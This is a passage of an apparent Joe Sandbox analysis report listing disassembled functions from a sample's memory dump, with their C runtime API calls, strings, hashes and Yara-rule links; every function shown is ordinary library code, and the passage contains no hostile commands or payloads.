FreeLibrary.KERNEL32(00000000,?,?,00000000,0024AD7A,000000FF,?,002341AA,00000002,?,00234246,00236EA9), ref: 00234152

Strings

mscoree.dll, xrefs: 00234117
CorExitProcess, xrefs: 00234128

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f5e0ba138416c4077aed1e46c365a655d2ddfdd23ba81a92f8bd2f28aa878953
Instruction ID: 94c8e16026386b0af18a687ec4842f07c54bb3f819f2711b7812489d1063711f
Opcode Fuzzy Hash: f5e0ba138416c4077aed1e46c365a655d2ddfdd23ba81a92f8bd2f28aa878953
Instruction Fuzzy Hash: 33012B31A60719EFDB019F50DC0DFAEB7B8FB04B52F004125F811A26E0DB74A910CA84

Function 0023C086 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0023C10B
__alloca_probe_16.LIBCMT ref: 0023C1D4
__freea.LIBCMT ref: 0023C23B

Part of subcall function 0023A8D1: RtlAllocateHeap.NTDLL(00000000,0023C8AA,?,?,0023C8AA,00000220,?,00000000,?), ref: 0023A903

__freea.LIBCMT ref: 0023C24E
__freea.LIBCMT ref: 0023C25B

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5c6cb866b618a0236af72406e79272f72f01d57cf83f1c19569fbd78ebb625c8
Instruction ID: 6afc38ec4f385b5b513006932c6fc6e834e9a16d5d2f527f7e78d48ef149e196
Opcode Fuzzy Hash: 5c6cb866b618a0236af72406e79272f72f01d57cf83f1c19569fbd78ebb625c8
Instruction Fuzzy Hash: 2851B5F262024AAFDF119EA4DC42DBB76A9EF84710F250129FD08E6101EB70DD309BA0

Function 0022B857 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0022B85E
std::_Lockit::_Lockit.LIBCPMT ref: 0022B868
int.LIBCPMT ref: 0022B87F

Part of subcall function 0022A613: std::_Lockit::_Lockit.LIBCPMT ref: 0022A624
Part of subcall function 0022A613: std::_Lockit::~_Lockit.LIBCPMT ref: 0022A63E

codecvt.LIBCPMT ref: 0022B8A2
std::_Lockit::~_Lockit.LIBCPMT ref: 0022B8D9

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 9a5a12544ee1248371d6425e778b3c0a02bc814f2bc9becc665d2ecb0fa5424c
Instruction ID: 2de25f5d20141fe9068a9a9c7fcb0189ead4195dc74ccc324692710c3dbd0aa2
Opcode Fuzzy Hash: 9a5a12544ee1248371d6425e778b3c0a02bc814f2bc9becc665d2ecb0fa5424c
Instruction Fuzzy Hash: D601E131C2412AABCB06EFE4B8556BD7769AF44310F144809F40067291CF709E208F92

Function 00229ECE Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00229ED5
std::_Lockit::_Lockit.LIBCPMT ref: 00229EE0
std::_Lockit::~_Lockit.LIBCPMT ref: 00229F4E

Part of subcall function 00229DA2: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00229DBA

std::locale::_Setgloballocale.LIBCPMT ref: 00229EFB
_Yarn.LIBCPMT ref: 00229F11

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 030009353e09b4a5398f347f646ff3671e75d97e8c9312a7752bf6188406d4e0
Instruction ID: cc8de1720c24839e8cc75d1491c86d65bd22d12fed68d572badc15032244bd34
Opcode Fuzzy Hash: 030009353e09b4a5398f347f646ff3671e75d97e8c9312a7752bf6188406d4e0
Instruction Fuzzy Hash: 1501BC35A25220ABC70AEFA0F95967C7BA1FF85351F144049E80197381CF34AEA2DF99

Function 00225D40 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 483COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0022605C
_strcspn.LIBCMT ref: 00226081

Strings

invalid string position, xrefs: 00225FD0
., xrefs: 00226066

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: _strcspn
String ID: .$invalid string position
API String ID: 3709121408-2424062830
Opcode ID: c8095b165174ff14788751790909a1844f8f80e025134c09ad35761f1fd878ec
Instruction ID: d44f87b800ce0713383f16b957826ed319ed2be7d7bb7bd2bc5cafbc9173d1c0
Opcode Fuzzy Hash: c8095b165174ff14788751790909a1844f8f80e025134c09ad35761f1fd878ec
Instruction Fuzzy Hash: 6502E571628325AFC714DFA4D484A2AB7E5FFC5304F14865CF8958B361EB70E964CB82

Function 002222C0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 002222DA

Strings

ios_base::badbit set, xrefs: 00222674, 00222692
ios_base::eofbit set, xrefs: 00222664
ios_base::failbit set, xrefs: 00222669

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: b96cb27a47064ec4f46e26920a6f6b9797f4dc994e0044360008d87843b1187e
Instruction ID: 7d24334a414cc8a245c886c22d8f254b25d952c36ca94aed5f9a23479a02db1e
Opcode Fuzzy Hash: b96cb27a47064ec4f46e26920a6f6b9797f4dc994e0044360008d87843b1187e
Instruction Fuzzy Hash: 28C1AE35220212EFC714DF28D490B6AB7E1FF88314F95866CE8598B3A1D736EC65CB81

Function 0023F2D6 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0023AB23: GetLastError.KERNEL32(?,?,00233FBA,00254C30,0000000C), ref: 0023AB27
Part of subcall function 0023AB23: SetLastError.KERNEL32(00000000), ref: 0023ABC9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,002346FA,?,?,?,00000055,?,-00000050,?,?,?), ref: 0023F395
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,002346FA,?,?,?,00000055,?,-00000050,?,?), ref: 0023F3CC

Strings

l#%, xrefs: 0023F349
utf8, xrefs: 0023F49E

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: l#%$utf8
API String ID: 943130320-1806676032
Opcode ID: bd9268b2b87178d66018bc7bbed04c690765e6cd93724827d46a30db42824213
Instruction ID: 3e5512d1bb866e2e110405c5fb2cb89ed46810312e4e7367fb02af14371e86c7
Opcode Fuzzy Hash: bd9268b2b87178d66018bc7bbed04c690765e6cd93724827d46a30db42824213
Instruction Fuzzy Hash: 4C51E9F1E20306BAD765AF70EE42BB773A8EF04700F14447AFB4997181E770D9608AA1

Function 00245521 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,002455BD,00000000,?,00258370,?,?,?,002454F4,00000004,InitializeCriticalSectionEx,0024E634,0024E63C), ref: 0024552E
GetLastError.KERNEL32(?,002455BD,00000000,?,00258370,?,?,?,002454F4,00000004,InitializeCriticalSectionEx,0024E634,0024E63C,00000000,?,0023A57C), ref: 00245538
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00245560

Strings

api-ms-, xrefs: 00245545

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 23f128627182a6bc39588da36d4edd1a388f49472ef4c2200735cf3286da24b0
Instruction ID: 1ceacc808259dd4d2f6bb0088e777e31f7303aeba4d5e8a1e573c2bd7968123a
Opcode Fuzzy Hash: 23f128627182a6bc39588da36d4edd1a388f49472ef4c2200735cf3286da24b0
Instruction Fuzzy Hash: 6CE04830694305B7DF155F50FC0AB683BA59B10F92F641020F94CE44E1D7719A709648

Function 002428CA Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(439473B7,00000000,00000000,?), ref: 0024292D

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00242B7F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00242BC5
GetLastError.KERNEL32 ref: 00242C68

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: df65fdab76a0d00940e409b591fcb2fd99442dc2078e9d08cc732ee548472920
Instruction ID: 49712424502d63908cc3902fb40641404d7835b8d381ccd9bee0c7862dd6657f
Opcode Fuzzy Hash: df65fdab76a0d00940e409b591fcb2fd99442dc2078e9d08cc732ee548472920
Instruction Fuzzy Hash: 61D198B1D10249DFCB19CFE9D880AADBBB4FF08304F68412AE816EB351E630A955CF50

Function 00239C53 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00239D1A
___AdjustPointer.LIBCMT ref: 00239D3D
___AdjustPointer.LIBCMT ref: 00239DD9

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 398726c1ddf90cc29dc85cf314bcaa93128726c4756b7088aa0258095061fbcf
Instruction ID: 347c6e459829ee099877541254117ab7123b20a58c54f193d01ac3dad9488df8
Opcode Fuzzy Hash: 398726c1ddf90cc29dc85cf314bcaa93128726c4756b7088aa0258095061fbcf
Instruction Fuzzy Hash: 6451E7B252460BAFDB25AF50D442B7AB7A4FF46710F14452EEC0647291D7B1ECE0CB90

Function 00222850 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022286C
std::_Lockit::_Lockit.LIBCPMT ref: 0022288A
std::_Lockit::~_Lockit.LIBCPMT ref: 002228AC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022291A

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 7386cb9e212a22ba7b8f9e2c411cd1bf0724b973bb8653294436a48e53f7b17a
Instruction ID: 692ef6bc6888484b2a27d8791d5de267ee6e3b8ebff977f5e2b0d6c0c727a515
Opcode Fuzzy Hash: 7386cb9e212a22ba7b8f9e2c411cd1bf0724b973bb8653294436a48e53f7b17a
Instruction Fuzzy Hash: 01219C71924320FFC720EFA5F84DA2A77A0FB58325F05445DE8884B261D732AD64CF92

Function 00228290 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 002282AC
std::_Lockit::_Lockit.LIBCPMT ref: 002282CA
std::_Lockit::~_Lockit.LIBCPMT ref: 002282EC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022835A

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: c0b8688b9ed7462a6944f3493dfec6734c418789efa1c16b9c94632d6b2a20a2
Instruction ID: 3d510944d051fdee2b88142d5b53fdbae4ab9986574ea5ed45111a92e0734ce1
Opcode Fuzzy Hash: c0b8688b9ed7462a6944f3493dfec6734c418789efa1c16b9c94632d6b2a20a2
Instruction Fuzzy Hash: C821BF71915321AFC710EF98F849A2A73E0FF58725F45459DE8884B262EB30EC60CF86

Function 00226AF0 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00226B0C
std::_Lockit::_Lockit.LIBCPMT ref: 00226B2A
std::_Lockit::~_Lockit.LIBCPMT ref: 00226B4C
std::_Lockit::~_Lockit.LIBCPMT ref: 00226BBA

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: b19c6e81a8bef0f06162a2239b754182567247e152a25b6698a900bfdae1d447
Instruction ID: f776ba968ffd4f7dee796b30c3156baed4b09a7b9f290fed5f79643745d59104
Opcode Fuzzy Hash: b19c6e81a8bef0f06162a2239b754182567247e152a25b6698a900bfdae1d447
Instruction Fuzzy Hash: 0E21A672914325AFC710EF94F84DA2AB7E0EF58729F05445DE8849B351D730AC60CF82

Function 00228380 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022839C
std::_Lockit::_Lockit.LIBCPMT ref: 002283BA
std::_Lockit::~_Lockit.LIBCPMT ref: 002283DC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022844A

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 7bf6f20349d472faf06d36e017e8d280e30197537660ae74b6d6aa6b09bcc0ba
Instruction ID: 24a12ad472b986088e45a2e57840117e2d7011a07de95976792c1d4dc4bf3b22
Opcode Fuzzy Hash: 7bf6f20349d472faf06d36e017e8d280e30197537660ae74b6d6aa6b09bcc0ba
Instruction Fuzzy Hash: DA219471915325AFC710FF95F889A2AB3A0EF58725F05445DE8445B362DB30EC60CF82

Function 00225460 Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0022547C
std::_Lockit::_Lockit.LIBCPMT ref: 0022549A
std::_Lockit::~_Lockit.LIBCPMT ref: 002254BC
std::_Lockit::~_Lockit.LIBCPMT ref: 0022552A

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 483843484cca9f9752ec7b9297caed2a81f7a51c282571c77643a41ce0c9a538
Instruction ID: 7778c6b44372914fe2606d0bce66292efc9175391aa13ec27ac44f5ac819a325
Opcode Fuzzy Hash: 483843484cca9f9752ec7b9297caed2a81f7a51c282571c77643a41ce0c9a538
Instruction Fuzzy Hash: 8921B471914730AFC710EF98F949A1AB3E0EF48325F45845DE4494B361DB30AD60CF82

Function 002406F6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0023A9E1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0023C231,?,00000000,-00000008), ref: 0023AA42

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0024075A
__dosmaperr.LIBCMT ref: 00240761
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0024079B
__dosmaperr.LIBCMT ref: 002407A2

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_220000_d0d9725343.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e3824bfdb4535487acc42efd6ab16611d16ad1c5d765ead2838e4a18e6b56273
Instruction ID: bceea2b83b997b7ea5a9749e4e910759b1070b35eb8c1f1b3a2de761d491e223
Opcode Fuzzy Hash: e3824bfdb4535487acc42efd6ab16611d16ad1c5d765ead2838e4a18e6b56273
Instruction Fuzzy Hash: 7321A171624206AF9B14AF61D8C496BF7A9EF10368B508518FE1597251D770FCA0CFA1

Function 00230C62 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2859115860.0000000000221000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00220000, based on PE: true

Associated: 00000008.00000002.2859092667.0000000000220000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859144990.000000000024B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859166744.0000000000256000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859186013.0000000000257000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859214377.000000000025B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2859236826.000000000025D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin
